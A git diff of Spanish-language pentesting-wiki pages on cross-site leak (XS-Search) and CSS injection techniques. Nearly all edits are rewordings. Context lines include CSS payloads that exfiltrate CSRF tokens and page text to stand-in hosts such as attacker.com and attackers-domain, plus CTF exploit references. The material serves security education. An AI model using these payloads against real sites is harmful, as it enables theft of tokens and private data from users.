 - **Resumen:** Detectar diferencias en las respuestas debido a que la longitud de la respuesta de redirección podría ser demasiado grande, lo que provoca que el servidor responda con un error y se genere una alerta.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
 
 Si una redirección del lado del servidor utiliza **entrada del usuario dentro de la redirección** y **datos adicionales**. Es posible detectar este comportamiento porque generalmente **los servidores** tienen un **límite de longitud de solicitud**. Si los **datos del usuario** son esa **longitud - 1**, porque la **redirección** está utilizando **esos datos** y **agregando** algo **extra**, se generará un **error detectable a través de Eventos de Error**.
 
-Si de alguna manera puedes establecer cookies a un usuario, también puedes realizar este ataque **estableciendo suficientes cookies** ([**bomba de cookies**](../hacking-with-cookies/cookie-bomb.md)) para que con el **aumento del tamaño de la respuesta** de la **respuesta correcta** se genere un **error**. En este caso, recuerda que si activas esta solicitud desde un mismo sitio, `<script>` enviará automáticamente las cookies (así que puedes verificar errores).\
+Si de alguna manera puedes establecer cookies para un usuario, también puedes realizar este ataque **estableciendo suficientes cookies** ([**bomba de cookies**](../hacking-with-cookies/cookie-bomb.md)) para que con el **aumento del tamaño de la respuesta** de la **respuesta correcta** se genere un **error**. En este caso, recuerda que si activas esta solicitud desde un mismo sitio, `<script>` enviará automáticamente las cookies (así que puedes verificar errores).\
 Un ejemplo de la **bomba de cookies + XS-Search** se puede encontrar en la solución prevista de este informe: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
 
-`SameSite=None` o estar en el mismo contexto suele ser necesario para este tipo de ataque.
+`SameSite=None` o estar en el mismo contexto generalmente se necesita para este tipo de ataque.
 
 ### Longitud Máxima de URL - Lado del Cliente
 
 - **Métodos de Inclusión**: Ventanas emergentes
 - **Diferencia Detectable**: Código de Estado / Contenido
-- **Más información**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
+- **Más info**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
 - **Resumen:** Detectar diferencias en las respuestas debido a que la longitud de la respuesta de redirección podría ser demasiado grande para una solicitud que se puede notar una diferencia.
 - **Ejemplo de Código**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
 
@@ -607,9 +607,9 @@ Según la [documentación de Chromium](https://chromium.googlesource.com/chromiu
 
 Por lo tanto, si la **URL de redirección respondida es más grande en uno de los casos**, es posible hacer que redirija con una **URL mayor a 2MB** para alcanzar el **límite de longitud**. Cuando esto sucede, Chrome muestra una página **`about:blank#blocked`**.
 
-La **diferencia notable** es que si la **redirección** se **completó**, `window.origin` genera un **error** porque un origen cruzado no puede acceder a esa información. Sin embargo, si se **alcanzó el límite** y la página cargada fue **`about:blank#blocked`**, el **origen** de la ventana permanece como el de la **padre**, que es una **información accesible.**
+La **diferencia notable** es que si la **redirección** se **completó**, `window.origin` genera un **error** porque un origen cruzado no puede acceder a esa información. Sin embargo, si se **alcanzó** el **límite** y la página cargada fue **`about:blank#blocked`**, el **origen** de la ventana permanece como el de la **padre**, que es una **información accesible**.
 
-Toda la información adicional necesaria para alcanzar los **2MB** se puede agregar a través de un **hash** en la URL inicial para que se **utilice en la redirección**.
+Toda la información adicional necesaria para alcanzar los **2MB** se puede agregar a través de un **hash** en la URL inicial para que sea **utilizada en la redirección**.
 
 {{#ref}}
 url-max-length-client-side.md
@@ -619,17 +619,17 @@ url-max-length-client-side.md
 
 - **Métodos de Inclusión**: Fetch API, Marcos
 - **Diferencia Detectable**: Código de Estado
-- **Más información**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
+- **Más info**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
 - **Resumen:** Utiliza el límite de redirecciones del navegador para determinar la ocurrencia de redirecciones de URL.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
 
-Si el **número máximo** de **redirecciones** a seguir de un navegador es **20**, un atacante podría intentar cargar su página con **19 redirecciones** y finalmente **enviar a la víctima** a la página probada. Si se **genera un error**, entonces la página estaba intentando **redirigir a la víctima**.
+Si el **número máximo** de **redirecciones** a seguir de un navegador es **20**, un atacante podría intentar cargar su página con **19 redirecciones** y finalmente **enviar a la víctima** a la página probada. Si se genera un **error**, entonces la página estaba intentando **redirigir a la víctima**.
 
 ### Longitud del Historial
 
 - **Métodos de Inclusión**: Marcos, Ventanas emergentes
 - **Diferencia Detectable**: Redirecciones
-- **Más información**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
+- **Más info**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
 - **Resumen:** El código JavaScript manipula el historial del navegador y se puede acceder a través de la propiedad de longitud.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
 
@@ -643,7 +643,7 @@ La **API de Historial** permite al código JavaScript manipular el historial del
 - **Resumen:** Es posible adivinar si la ubicación de un marco/ventana emergente está en una URL específica abusando de la longitud del historial.
 - **Ejemplo de Código**: A continuación
 
-Un atacante podría usar código JavaScript para **manipular la ubicación del marco/ventana emergente a una adivinada** y **inmediatamente** **cambiarla a `about:blank`**. Si la longitud del historial aumentó, significa que la URL era correcta y tuvo tiempo para **aumentar porque la URL no se recarga si es la misma**. Si no aumentó, significa que **intentó cargar la URL adivinada**, pero porque **inmediatamente después** cargó **`about:blank`**, la **longitud del historial nunca aumentó** al cargar la URL adivinada.
+Un atacante podría usar código JavaScript para **manipular la ubicación del marco/ventana emergente a una adivinada** y **inmediatamente** **cambiarla a `about:blank`**. Si la longitud del historial aumentó, significa que la URL era correcta y tuvo tiempo para **aumentar porque la URL no se recarga si es la misma**. Si no aumentó, significa que **intentó cargar la URL adivinada** pero porque **inmediatamente después** cargó **`about:blank`**, la **longitud del historial nunca aumentó** al cargar la URL adivinada.
 ```javascript
 async function debug(win, url) {
 win.location = url + "#aaa"
@@ -689,7 +689,7 @@ La filtración de información a través de elementos HTML es una preocupación
 - **HTMLMediaElement**: Este elemento revela la `duración` y los tiempos `buffered` del medio, que se pueden acceder a través de su API. [Lee más sobre HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
 - **HTMLVideoElement**: Expone `videoHeight` y `videoWidth`. En algunos navegadores, propiedades adicionales como `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` y `webkitDecodedFrameCount` están disponibles, ofreciendo información más detallada sobre el contenido del medio. [Lee más sobre HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
 - **getVideoPlaybackQuality()**: Esta función proporciona detalles sobre la calidad de reproducción de video, incluyendo `totalVideoFrames`, que puede indicar la cantidad de datos de video procesados. [Lee más sobre getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
-- **HTMLImageElement**: Este elemento filtra la `altura` y `ancho` de una imagen. Sin embargo, si una imagen es inválida, estas propiedades devolverán 0, y la función `image.decode()` será rechazada, indicando el fallo en cargar la imagen correctamente. [Lee más sobre HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
+- **HTMLImageElement**: Este elemento filtra la `altura` y `ancho` de una imagen. Sin embargo, si una imagen es inválida, estas propiedades devolverán 0, y la función `image.decode()` será rechazada, indicando la falla en cargar la imagen correctamente. [Lee más sobre HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
 
 ### Propiedad CSS
 
@@ -717,7 +717,7 @@ El selector CSS `:visited` se utiliza para estilizar URLs de manera diferente si
 
 A pesar de estas restricciones, es posible discernir el estado visitado de un enlace de manera indirecta. Una técnica implica engañar al usuario para que interactúe con un área afectada por CSS, utilizando específicamente la propiedad `mix-blend-mode`. Esta propiedad permite la mezcla de elementos con su fondo, revelando potencialmente el estado visitado basado en la interacción del usuario.
 
-Además, la detección puede lograrse sin interacción del usuario explotando los tiempos de renderizado de los enlaces. Dado que los navegadores pueden renderizar enlaces visitados y no visitados de manera diferente, esto puede introducir una diferencia de tiempo medible en el renderizado. Se mencionó un concepto de prueba (PoC) en un informe de errores de Chromium, demostrando esta técnica utilizando múltiples enlaces para amplificar la diferencia de tiempo, haciendo que el estado visitado sea detectable a través del análisis de tiempo.
+Además, la detección puede lograrse sin interacción del usuario explotando los tiempos de renderizado de los enlaces. Dado que los navegadores pueden renderizar enlaces visitados y no visitados de manera diferente, esto puede introducir una diferencia de tiempo medible en el renderizado. Se mencionó un proof of concept (PoC) en un informe de errores de Chromium, demostrando esta técnica utilizando múltiples enlaces para amplificar la diferencia de tiempo, haciendo que el estado visitado sea detectable a través del análisis de tiempo.
 
 Para más detalles sobre estas propiedades y métodos, visita sus páginas de documentación:
 
@@ -733,7 +733,7 @@ Para más detalles sobre estas propiedades y métodos, visita sus páginas de do
 - **Resumen:** En Google Chrome, se muestra una página de error dedicada cuando una página es bloqueada de ser incrustada en un sitio de origen cruzado debido a restricciones de X-Frame-Options.
 - **Ejemplo de Código**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
 
-En Chrome, si una página con el encabezado `X-Frame-Options` configurado en "deny" o "same-origin" es incrustada como un objeto, aparece una página de error. Chrome devuelve de manera única un objeto de documento vacío (en lugar de `null`) para la propiedad `contentDocument` de este objeto, a diferencia de los iframes o de otros navegadores. Los atacantes podrían explotar esto detectando el documento vacío, revelando potencialmente información sobre el estado del usuario, especialmente si los desarrolladores configuran de manera inconsistente el encabezado X-Frame-Options, a menudo pasando por alto las páginas de error. La conciencia y la aplicación consistente de encabezados de seguridad son cruciales para prevenir tales filtraciones.
+En Chrome, si una página con el encabezado `X-Frame-Options` configurado en "deny" o "same-origin" es incrustada como un objeto, aparece una página de error. Chrome devuelve de manera única un objeto de documento vacío (en lugar de `null`) para la propiedad `contentDocument` de este objeto, a diferencia de los iframes o otros navegadores. Los atacantes podrían explotar esto detectando el documento vacío, revelando potencialmente información sobre el estado del usuario, especialmente si los desarrolladores establecen de manera inconsistente el encabezado X-Frame-Options, a menudo pasando por alto las páginas de error. La conciencia y la aplicación consistente de encabezados de seguridad son cruciales para prevenir tales filtraciones.
 
 ### Detección de Descargas
 
@@ -746,7 +746,7 @@ En Chrome, si una página con el encabezado `X-Frame-Options` configurado en "de
 El encabezado `Content-Disposition`, específicamente `Content-Disposition: attachment`, instruye al navegador a descargar contenido en lugar de mostrarlo en línea. Este comportamiento puede ser explotado para detectar si un usuario tiene acceso a una página que desencadena una descarga de archivo. En navegadores basados en Chromium, hay algunas técnicas para detectar este comportamiento de descarga:
 
 1. **Monitoreo de la Barra de Descargas**:
-- Cuando un archivo se descarga en navegadores basados en Chromium, aparece una barra de descarga en la parte inferior de la ventana del navegador.
+- Cuando se descarga un archivo en navegadores basados en Chromium, aparece una barra de descarga en la parte inferior de la ventana del navegador.
 - Al monitorear cambios en la altura de la ventana, los atacantes pueden inferir la aparición de la barra de descarga, sugiriendo que se ha iniciado una descarga.
 2. **Navegación de Descarga con Iframes**:
 - Cuando una página desencadena una descarga de archivo utilizando el encabezado `Content-Disposition: attachment`, no causa un evento de navegación.
@@ -766,17 +766,17 @@ En escenarios donde solo los usuarios autenticados pueden desencadenar tales des
 - **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (de [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
 
 > [!WARNING]
-> Esta es la razón por la que esta técnica es interesante: Chrome ahora tiene **particionamiento de caché**, y la clave de caché de la página recién abierta es: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, pero si abro una página ngrok y uso fetch en ella, la clave de caché será: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **clave de caché es diferente**, por lo que la caché no puede ser compartida. Puedes encontrar más detalles aquí: [Ganar seguridad y privacidad mediante el particionamiento de la caché](https://developer.chrome.com/blog/http-cache-partitioning/)\
+> Esta es la razón por la que esta técnica es interesante: Chrome ahora tiene **particionamiento de caché**, y la clave de caché de la página recién abierta es: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, pero si abro una página ngrok y uso fetch en ella, la clave de caché será: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, la **clave de caché es diferente**, por lo que la caché no puede ser compartida. Puedes encontrar más detalles aquí: [Ganar seguridad y privacidad mediante la partición de la caché](https://developer.chrome.com/blog/http-cache-partitioning/)\
 > (Comentario de [**aquí**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
 
-Si un sitio `example.com` incluye un recurso de `*.example.com/resource`, entonces ese recurso tendrá la **misma clave de caché** que si el recurso fuera **solicitado a través de una navegación de nivel superior**. Eso se debe a que la clave de caché consiste en el _eTLD+1_ de nivel superior y el _eTLD+1_ de marco.
+Si un sitio `example.com` incluye un recurso de `*.example.com/resource`, entonces ese recurso tendrá la **misma clave de caché** que si el recurso fuera **solicitado a través de navegación de nivel superior**. Eso se debe a que la clave de caché consiste en el _eTLD+1_ de nivel superior y el _eTLD+1_ de marco.
 
-Debido a que acceder a la caché es más rápido que cargar un recurso, es posible intentar cambiar la ubicación de una página y cancelarla 20 ms (por ejemplo) después. Si el origen se cambió después de la detención, significa que el recurso fue almacenado en caché.\
-O simplemente **enviar algún fetch a la página potencialmente almacenada en caché y medir el tiempo que tarda**.
+Debido a que acceder a la caché es más rápido que cargar un recurso, es posible intentar cambiar la ubicación de una página y cancelarla 20 ms (por ejemplo) después. Si el origen fue cambiado después de la detención, significa que el recurso fue almacenado en caché.\
+O simplemente podría **enviar algún fetch a la página potencialmente almacenada en caché y medir el tiempo que toma**.
 
 ### Redirección Manual <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
 
-- **Métodos de Inclusión**: API Fetch
+- **Métodos de Inclusión**: Fetch API
 - **Diferencia Detectable**: Redirecciones
 - **Más info**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
 - **Resumen:** Es posible averiguar si una respuesta a una solicitud fetch es una redirección
@@ -786,7 +786,7 @@ O simplemente **enviar algún fetch a la página potencialmente almacenada en ca
 
 ### Fetch con AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
 
-- **Métodos de Inclusión**: API Fetch
+- **Métodos de Inclusión**: Fetch API
 - **Diferencia Detectable**: Tiempos
 - **Más info**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
 - **Resumen:** Es posible intentar cargar un recurso y antes de que se cargue, la carga se interrumpe. Dependiendo de si se activa un error, el recurso fue o no almacenado en caché.
@@ -799,7 +799,7 @@ Usa _**fetch**_ y _**setTimeout**_ con un **AbortController** para detectar si e
 - **Métodos de Inclusión**: Elementos HTML (script)
 - **Diferencia Detectable**: Contenido de la Página
 - **Más info**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
-- **Resumen:** Es posible **sobrescribir funciones integradas** y leer sus argumentos incluso desde **scripts de origen cruzado** (que no se pueden leer directamente), esto podría **filtrar información valiosa**.
+- **Resumen:** Es posible **sobrescribir funciones integradas** y leer sus argumentos incluso desde **scripts de origen cruzado** (que no pueden ser leídos directamente), esto podría **filtrar información valiosa**.
 - **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
 
 ### Service Workers <a href="#service-workers" id="service-workers"></a>
@@ -819,7 +819,7 @@ Al llegar la solicitud iniciada en el paso anterior, el **service worker** respo
 
 ### Tiempo de Fetch
 
-- **Métodos de Inclusión**: API Fetch
+- **Métodos de Inclusión**: Fetch API
 - **Diferencia Detectable**: Tiempos (generalmente debido al Contenido de la Página, Código de Estado)
 - **Más info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
 - **Resumen:** Usa [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) para medir el tiempo que toma realizar una solicitud. Se pueden usar otros relojes.
@@ -853,7 +853,7 @@ Sin embargo, si por cualquier razón **DEBES** hacerlo **carácter por carácter
 ```html
 <img src=/something loading=lazy >
 ```
-Por lo tanto, lo que puedes hacer es **agregar muchos caracteres basura** (por ejemplo, **miles de "W"**) para **llenar la página web antes del secreto o agregar algo como** `<br><canvas height="1850px"></canvas><br>.`\
+Por lo tanto, lo que puedes hacer es **agregar muchos caracteres basura** (por ejemplo, **miles de "W"s**) para **llenar la página web antes del secreto o agregar algo como** `<br><canvas height="1850px"></canvas><br>.`\
 Luego, si por ejemplo nuestra **inyección aparece antes de la bandera**, la **imagen** se **cargaría**, pero si aparece **después** de la **bandera**, la bandera + la basura **impedirán que se cargue** (tendrás que jugar con cuánta basura colocar). Esto es lo que sucedió en [**este informe**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/).
 
 Otra opción sería usar el **scroll-to-text-fragment** si se permite:
diff --git a/src/pentesting-web/xs-search/connection-pool-by-destination-example.md b/src/pentesting-web/xs-search/connection-pool-by-destination-example.md
index d1995a2a8..bde16b74a 100644
--- a/src/pentesting-web/xs-search/connection-pool-by-destination-example.md
+++ b/src/pentesting-web/xs-search/connection-pool-by-destination-example.md
@@ -13,7 +13,7 @@ Veamos cómo funciona este exploit:
 - El atacante inyectará una nota con tantos **`<img`** tags **cargando** **`/js/purify.js`** como sea posible (más de 6 para bloquear el origen).
 - Luego, el atacante **eliminará** la **nota** con índice 1.
 - Luego, el atacante \[hará que el **bot acceda a la página** con la nota restante] y enviará una **solicitud** a **`victim.com/js/purify.js`** que él **medirá**.&#x20;
-- Si el tiempo es **mayor**, la **inyección** estaba en la **nota** que quedó, si el tiempo es **menor**, la **bandera** estaba allí.
+- Si el tiempo es **mayor**, la **inyección** estuvo en la **nota** que quedó, si el tiempo es **menor**, la **bandera** estaba allí.
 
 > [!NOTE]
 > La verdad, al leer el script me perdí en alguna parte donde el **atacante hace que el bot cargue la página para activar los tags img**, no veo nada así en el código.
diff --git a/src/pentesting-web/xs-search/connection-pool-example.md b/src/pentesting-web/xs-search/connection-pool-example.md
index 2315f9e9e..529a6f350 100644
--- a/src/pentesting-web/xs-search/connection-pool-example.md
+++ b/src/pentesting-web/xs-search/connection-pool-example.md
@@ -26,9 +26,9 @@ Por lo tanto, para robar la bandera, la solución propuesta por @Strellyc\_ es q
 >
 > Si la **publicación eliminada** era el **HTML**, las **5 solicitudes aleatorias** serán **más rápidas** porque no necesitan competir por ese socket con el HTML inyectado.
 
-### Exploit 1
+### Explotación 1
 
-Este es el código de exploit, tomado de [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
+Este es el código de explotación, tomado de [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
 ```html
 <!-- Form to inject HTML code in the bots page -->
 <form
diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md
index ce2ea6462..74f992455 100644
--- a/src/pentesting-web/xs-search/css-injection/README.md
+++ b/src/pentesting-web/xs-search/css-injection/README.md
@@ -23,7 +23,7 @@ Sin embargo, este enfoque enfrenta una limitación al tratar con elementos de en
 
 #### Bypass para Elementos Ocultos
 
-Para eludir esta limitación, puedes dirigirte a un elemento hermano posterior utilizando el combinador de hermanos generales `~`. La regla CSS se aplica entonces a todos los hermanos que siguen al elemento de entrada oculto, lo que provoca que la imagen de fondo se cargue:
+Para eludir esta limitación, puedes dirigirte a un elemento hermano posterior utilizando el combinador de hermanos generales `~`. La regla CSS se aplica entonces a todos los hermanos que siguen al elemento de entrada oculto, haciendo que la imagen de fondo se cargue:
 ```css
 input[name="csrf"][value^="csrF"] ~ * {
 background-image: url(https://attacker.com/exfil/csrF);
@@ -36,7 +36,7 @@ Un ejemplo práctico de explotación de esta técnica se detalla en el fragmento
 Para que la técnica de inyección de CSS sea efectiva, deben cumplirse ciertas condiciones:
 
 1. **Longitud de la carga útil**: El vector de inyección de CSS debe soportar cargas útiles suficientemente largas para acomodar los selectores elaborados.
-2. **Reevaluación de CSS**: Debes tener la capacidad de enmarcar la página, lo cual es necesario para activar la reevaluación de CSS con cargas útiles generadas recientemente.
+2. **Reevaluación de CSS**: Debes tener la capacidad de enmarcar la página, lo cual es necesario para activar la reevaluación de CSS con cargas útiles recién generadas.
 3. **Recursos externos**: La técnica asume la capacidad de usar imágenes alojadas externamente. Esto podría estar restringido por la Política de Seguridad de Contenido (CSP) del sitio.
 
 ### Selector de atributo ciego
@@ -62,7 +62,7 @@ Sin embargo, hay otra técnica ingeniosa que utiliza **CSS `@import`** para mejo
 
 Esto fue mostrado por primera vez por [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) y funciona así:
 
-En lugar de cargar la misma página una y otra vez con decenas de diferentes payloads cada vez (como en la anterior), vamos a **cargar la página solo una vez y solo con una importación al servidor del atacante** (este es el payload a enviar a la víctima):
+En lugar de cargar la misma página una y otra vez con decenas de diferentes cargas útiles cada vez (como en la anterior), vamos a **cargar la página solo una vez y solo con una importación al servidor del atacante** (esta es la carga útil que se enviará a la víctima):
 ```css
 @import url("//attacker.com:5001/start?");
 ```
@@ -148,9 +148,9 @@ font-family: "poc";
 - Se crea un elemento `<object>` con `id="poc0"` en la sección `<body>`. Este elemento intenta cargar un recurso desde `http://192.168.0.1/favicon.ico`.
 - La `font-family` para este elemento se establece en `'poc'`, como se define en la sección `<style>`.
 - Si el recurso (`favicon.ico`) no se carga, el contenido de respaldo (la letra 'A') dentro de la etiqueta `<object>` se muestra.
-- El contenido de respaldo ('A') se renderizará utilizando la fuente personalizada `poc` si no se puede cargar el recurso externo.
+- El contenido de respaldo ('A') se renderizará utilizando la fuente personalizada `poc` si el recurso externo no se puede cargar.
 
-### Estilizando Fragmento de Texto Scroll-to
+### Estilizando Fragmento de Texto para Desplazamiento
 
 La **`:target`** pseudo-clase se emplea para seleccionar un elemento dirigido por un **fragmento de URL**, como se especifica en la [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Es crucial entender que `::target-text` no coincide con ningún elemento a menos que el texto sea explícitamente dirigido por el fragmento.
 
@@ -160,7 +160,7 @@ Surge una preocupación de seguridad cuando los atacantes explotan la caracterí
 content: url(target.png);
 }
 ```
-En tales escenarios, si el texto "Administrator" está presente en la página, el recurso `target.png` se solicita al servidor, indicando la presencia del texto. Un ejemplo de este ataque se puede ejecutar a través de una URL especialmente diseñada que incrusta el CSS inyectado junto con un fragmento Scroll-to-text:
+En tales escenarios, si el texto "Administrator" está presente en la página, el recurso `target.png` se solicita al servidor, indicando la presencia del texto. Una instancia de este ataque se puede ejecutar a través de una URL especialmente diseñada que incrusta el CSS inyectado junto con un fragmento Scroll-to-text:
 ```
 http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
 ```
@@ -174,13 +174,13 @@ Para la mitigación, se deben tener en cuenta los siguientes puntos:
 
 La conciencia de estos mecanismos y vulnerabilidades potenciales es clave para mantener la seguridad web y protegerse contra tácticas explotadoras.
 
-Para más información, consulta el informe original: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
+Para más información, consulte el informe original: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
 
-Puedes consultar un [**exploit utilizando esta técnica para un CTF aquí**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
+Puede consultar un [**exploit utilizando esta técnica para un CTF aquí**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
 
 ### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
 
-Puedes especificar **fuentes externas para valores unicode específicos** que solo serán **recogidos si esos valores unicode están presentes** en la página. Por ejemplo:
+Puede especificar **fuentes externas para valores unicode específicos** que solo serán **recogidos si esos valores unicode están presentes** en la página. Por ejemplo:
 ```html
 <style>
 @font-face {
@@ -206,7 +206,7 @@ font-family: poc;
 <p id="sensitive-information">AB</p>
 htm
 ```
-Cuando accedes a esta página, Chrome y Firefox obtienen "?A" y "?B" porque el nodo de texto de información sensible contiene los caracteres "A" y "B". Pero Chrome y Firefox no obtienen "?C" porque no contiene "C". Esto significa que hemos podido leer "A" y "B".
+Cuando accedes a esta página, Chrome y Firefox obtienen "?A" y "?B" porque el nodo de texto de sensitive-information contiene los caracteres "A" y "B". Pero Chrome y Firefox no obtienen "?C" porque no contiene "C". Esto significa que hemos podido leer "A" y "B".
 
 ### Exfiltración de nodos de texto (I): ligaduras <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
 
@@ -214,13 +214,13 @@ Cuando accedes a esta página, Chrome y Firefox obtienen "?A" y "?B" porque el n
 
 La técnica descrita implica extraer texto de un nodo aprovechando las ligaduras de fuentes y monitoreando cambios en el ancho. El proceso implica varios pasos:
 
-1. **Creación de Fuentes Personalizadas**:
+1. **Creación de fuentes personalizadas**:
 
 - Se crean fuentes SVG con glifos que tienen un atributo `horiz-adv-x`, que establece un ancho grande para un glifo que representa una secuencia de dos caracteres.
 - Ejemplo de glifo SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, donde "XY" denota una secuencia de dos caracteres.
 - Estas fuentes se convierten a formato woff usando fontforge.
 
-2. **Detección de Cambios de Ancho**:
+2. **Detección de cambios de ancho**:
 
 - Se utiliza CSS para asegurar que el texto no se ajuste (`white-space: nowrap`) y para personalizar el estilo de la barra de desplazamiento.
 - La aparición de una barra de desplazamiento horizontal, estilizada de manera distinta, actúa como un indicador (oráculo) de que una ligadura específica, y por lo tanto una secuencia de caracteres específica, está presente en el texto.
@@ -237,7 +237,7 @@ background: url(http://attacker.com/?leak);
 }
 ```
 
-3. **Proceso de Explotación**:
+3. **Proceso de explotación**:
 
 - **Paso 1**: Se crean fuentes para pares de caracteres con un ancho sustancial.
 - **Paso 2**: Se emplea un truco basado en la barra de desplazamiento para detectar cuándo se renderiza el glifo de gran ancho (ligadura para un par de caracteres), indicando la presencia de la secuencia de caracteres.
diff --git a/src/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md b/src/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md
index 5f690fbf2..84ad0c62a 100644
--- a/src/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md
+++ b/src/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md
@@ -19,7 +19,7 @@ La idea detrás de este exploit es:
 - Si las **imágenes** inyectadas en la publicación están siendo **cargadas**, estas **solicitudes fetch** tomarán **más tiempo**, por lo que el atacante sabe que la **publicación está antes de la bandera** (alfabéticamente).
 - Si las **solicitudes fetch** son **rápidas**, significa que la **publicación** está **alfabéticamente** **después** de la bandera.
 
-Veamos el código:
+Vamos a revisar el código:
 ```html
 <!DOCTYPE html>
 <html>
diff --git a/src/pentesting-web/xs-search/url-max-length-client-side.md b/src/pentesting-web/xs-search/url-max-length-client-side.md
index 77289501b..0a68a6c7d 100644
--- a/src/pentesting-web/xs-search/url-max-length-client-side.md
